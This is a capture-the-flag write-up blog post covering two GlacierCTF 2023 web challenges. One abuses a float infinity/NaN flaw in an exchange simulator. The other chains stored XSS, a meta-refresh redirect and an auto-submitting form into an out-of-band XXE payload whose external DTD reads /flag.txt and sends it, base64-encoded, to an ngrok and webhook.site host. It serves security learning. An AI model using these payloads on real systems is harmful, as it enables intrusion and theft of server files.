Kashmir54

Cibersecurity blog. CTFs, writeups, electronics and more!

Home Flipper Boards CTF Writeups YouTube View on GitHub

GlacierCTF 2023

Welcome to another CTF writeup. This time I played GlacierCTF 2023, and I focused on the Web challenges. We participate as ISwearGoogledIt with RazviOverflow, Bubu and liti0s. Let’s dive into the challenges!


Challenge index:

Web




Web

Glacier Exchange

50 We have launched a new revolutionary exchange tool, allowing you to trade on the market and hanging out with your rich friends in the Glacier Club. Only Billionaires can get in though. Can you help me hang out with lEon sMuk?

authors: hweissi & xsskevin

https://glacierexchange.web.glacierctf.com

Source code was provided for this challenge.

The website is a simulator of an exchange site, where we start with 1000 cashout.

The objective, as seen in the code, was to obtain 1000000000 cashout coins:

# server.py
@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
    wallet = get_wallet_from_session()
    clubToken = False
    inClub = wallet.inGlacierClub()
    if inClub:
        f = open("/flag.txt")
        clubToken = f.read()
        f.close()
    return {
        "inClub": inClub,
        "clubToken": clubToken
    }

# wallet.py
def inGlacierClub(self):
    with self.lock:
        for balance_name in self.balances:
            if balance_name == "cashout":
                if self.balances[balance_name] < 1000000000:
                    return False
            else:
                if self.balances[balance_name] != 0.0:
                    return False
        return True

To do so, we have some API calls to exchange coins between each other, the point here is that the exchange is 1:1:

# server.py
@app.route('/api/wallet/transaction', methods=['POST'])
def transaction():
    payload = request.json
    status = 0
    if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload:
        wallet = get_wallet_from_session()
        status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"]))
    return jsonify({
        "result": status
    })


# wallet.py
import threading

class Wallet():
    def __init__(self) -> None:
        self.balances = {
            "cashout": 1000,
            "glaciercoin": 0,
            "ascoin": 0,
            "doge": 0,
            "gamestock": 0,
            "ycmi": 0,
            "smtl": 0
        }
        self.lock = threading.Lock();


    def getBalances(self):
        return self.balances
    
    def transaction(self, source, dest, amount):
        if source in self.balances and dest in self.balances:
            with self.lock:
                if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
        return 0
    
    def inGlacierClub(self):
        with self.lock:
            for balance_name in self.balances:
                if balance_name == "cashout":
                    if self.balances[balance_name] < 1000000000:
                        return False
                else:
                    if self.balances[balance_name] != 0.0:
                        return False
            return True

The trick here is how the balance exchange is done:

We can play with float overflow in this case, the sequence to exploit will be as follows:

# First bustract -inf to get infinite money
1000 - float('-inf') = inf

# Then, since we use the same coin and balance, we will get NaN
inf + float('-inf') = NaN

# NaN is greater than the target value
NaN > 1000000000

So, we make a transaction with the cashout coin to the cashout coin with -inf:

And we can see the NaN on the cashout balance:

Then, we can call the API to get the flag within the Glacier Club:

gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}


Peak

227 Within the heart of Austria’s alpine mystery lies your next conquest. Ascend the highest peak, shrouded in whispers of past explorers, to uncover the flag.txt awaiting atop. Beware the silent guards that stand sentinel along the treacherous path, obstructing your ascent.

author: Chr0x6eOs

https://peak.web.glacierctf.com

Source code was provided for this challenge.

We land into an static website with information. With a quick look, we locate the conteact form. To submit, we need to be registered, so we did.

We started by checking the source code. Some parts catched our attention:

These are the pieces of code affected by aforementiones vulnerabilities:

# XXE on /admin/map.php
# - snip - #
function parseXML($xmlData){
    try
    {
        libxml_disable_entity_loader(false); # Allows to load external entities
        $xml = simplexml_load_string($xmlData, 'SimpleXMLElement', LIBXML_NOENT); # Allows subtitution of entities
        return $xml;
    }
    catch(Exception $ex)
    {
        return false;
    }
    return true;
}
# - snip - #


# XSS on /pages/view_message.php
# - snip - #
<section id="message" class="py-5">
    <div class="container mt-5">
        <?php if (isset($message)): ?>
            <h1><?php echo htmlentities($message['title']);?></h1>
            <p><?php echo $message['content']; ?> # No filtering in the message content
            <?php if($message['file'] !== "") : ?>
                <div>
                <img name="image" src="<?php echo $message['file']?>">
                </div>
            <?php endif;?>
        <?php endif; ?></p>
    </div>
</section>
# - snip - #

Bot visiting the messages:

# admin.py
...
def read_messages(self):

    print(f'[{datetime.now()}] Checking messages...')
    self.driver.get(f'{self.host}/admin/support.php')

    if self.driver.current_url != f'{self.host}/admin/support.php':
        raise Exception("Cannot access support.php! Session probably expired!")

    links = [element.get_attribute('href') for element in self.driver.find_elements('name', 'inbox-header')]
    if len(links) > 0:
        for link in links:
            if link:
                try:
                    self.driver.get(link)

                    if self.driver.current_url == link:
                        print(f'[{datetime.now()}] Visiting: {self.driver.current_url}\r\n')
                    else:
                        print(f'[{datetime.now()}] After visiting {link}, got redirect to: {self.driver.current_url}\r\n')
                except Exception as ex:
                    '''Timeout or other exception occurred on url.
                    '''
                    print(f'[{datetime.now()}] Error after visiting: {link} (Current URL: {self.driver.current_url}). Error: {ex}\r\n')
...

Bubu and I worked on this challenge together. The idea is get the admin to send a POST request to the map.php with our XXE payload to exfiltrate the flag. These were the steps:

1 - Create the redirection to our server with the POST payload and send it to the admin. For this we used ngrok to make localhost accessible from the internet. To make this redirection we used the following meta tag:

<meta http-equiv="refresh" content="0; url=https://3f56-92-56-131-173.ngrok-free.app/html.html">

2 - Create an HTML with an script to send the POST data to map.php, the value of the data field will be a XXE payload one-liner.

<html>
    <form id="sad" action="https://peak.web.glacierctf.com/admin/map.php" method="POST"> <!-- We explain the XXE in the next step -->
        <input type="text" name="data" value='<!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag.txt"><!ENTITY % dtd SYSTEM "https://3f56-92-56-131-173.ngrok-free.app/evil.dtd"> %dtd; %send;]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>test</name></marker></markers>'/>
        <input type="submit" value="save"/>
    </form>
    <script>
        form = document.getElementById("sad")
        form.submit();
    </script>
</html>

3 - Create an XXE Out-of-band payload to exfiltrate the flag. For this, we used a payload that loads the external DTD from our server, then the DTD will exfiltrate the flag in base64 format. We called %send since it is the entity on our evil.dtd file:

<!-- Payload to send to the POST on map.php -->
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "php://filter/read=convert.base64-encode/resource=file:///flag.txt">
  <!ENTITY % dtd SYSTEM
  "https://3f56-92-56-131-173.ngrok-free.app/evil.dtd">
  %dtd; %send;
]>
<markers>
    <marker>
        <lat>47.0748663672</lat>
        <lon>12.695247219</lon>
        <name>test</name>
    </marker>
</markers>


<!-- Oneliner for map.php -->

<!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag.txt"><!ENTITY % dtd SYSTEM "https://3f56-92-56-131-173.ngrok-free.app/evil.dtd"> %dtd; %send;]><markers><marker><lat>47.0748663672</lat><lon>12.695247219</lon><name>test</name></marker></markers>

4 - To exfiltrate the flag we used webhook.site, but we could also use the ngrok URL. The external DTD will use the %file entity from the XML payload, which will contain the flag encoded with base64 once loaded:

<!-- evil.dtd entity hosted on our server -->

<!ENTITY % all "<!ENTITY send SYSTEM 'https://webhook.site/9d1d47f3-4fe5-40fa-b395-0dc74273782c/?collect=%file;'>">
%all;

5 - Create the server and expose the port

# files created
kali@kali:~/Desktop/CTFs/GlacierCTF2023/Web/Peak$ ls    
challenge.zip  dist  evil.dtd  html.html  test.dtd

# Serve the files and wait for requests
kali@kali:~/Desktop/CTFs/GlacierCTF2023/Web/Peak$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
127.0.0.1 - - [25/Nov/2023 19:19:26] "GET /html.html HTTP/1.1" 200 -
127.0.0.1 - - [25/Nov/2023 19:19:27] "GET /evil.dtd HTTP/1.1" 200 -

# Use ngrok to expose localhost
kali@kali:~/Desktop/CTFs/GlacierCTF2023/Web/Peak$ ngrok http 8081

Web Interface                 http://127.0.0.1:4040                                                  
Forwarding                    https://3f56-92-56-131-173.ngrok-free.app -> http://localhost:8081     
                                                                                                     
Connections                   ttl     opn     rt1     rt5     p50     p90                            
                              3       0       0.00    0.00    0.00    0.00                           
                                                                                                     
HTTP Requests                                                                                        
-------------                                                                                        
                                                                                                     
GET /evil.dtd                  200 OK                                                                
GET /html.html                 200 OK                                                                
GET /                          200 OK 

And we get the flag on the collect parameter as expected on webhook.site:

Request:

Flag:

gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}

This was short, I hope you liked it!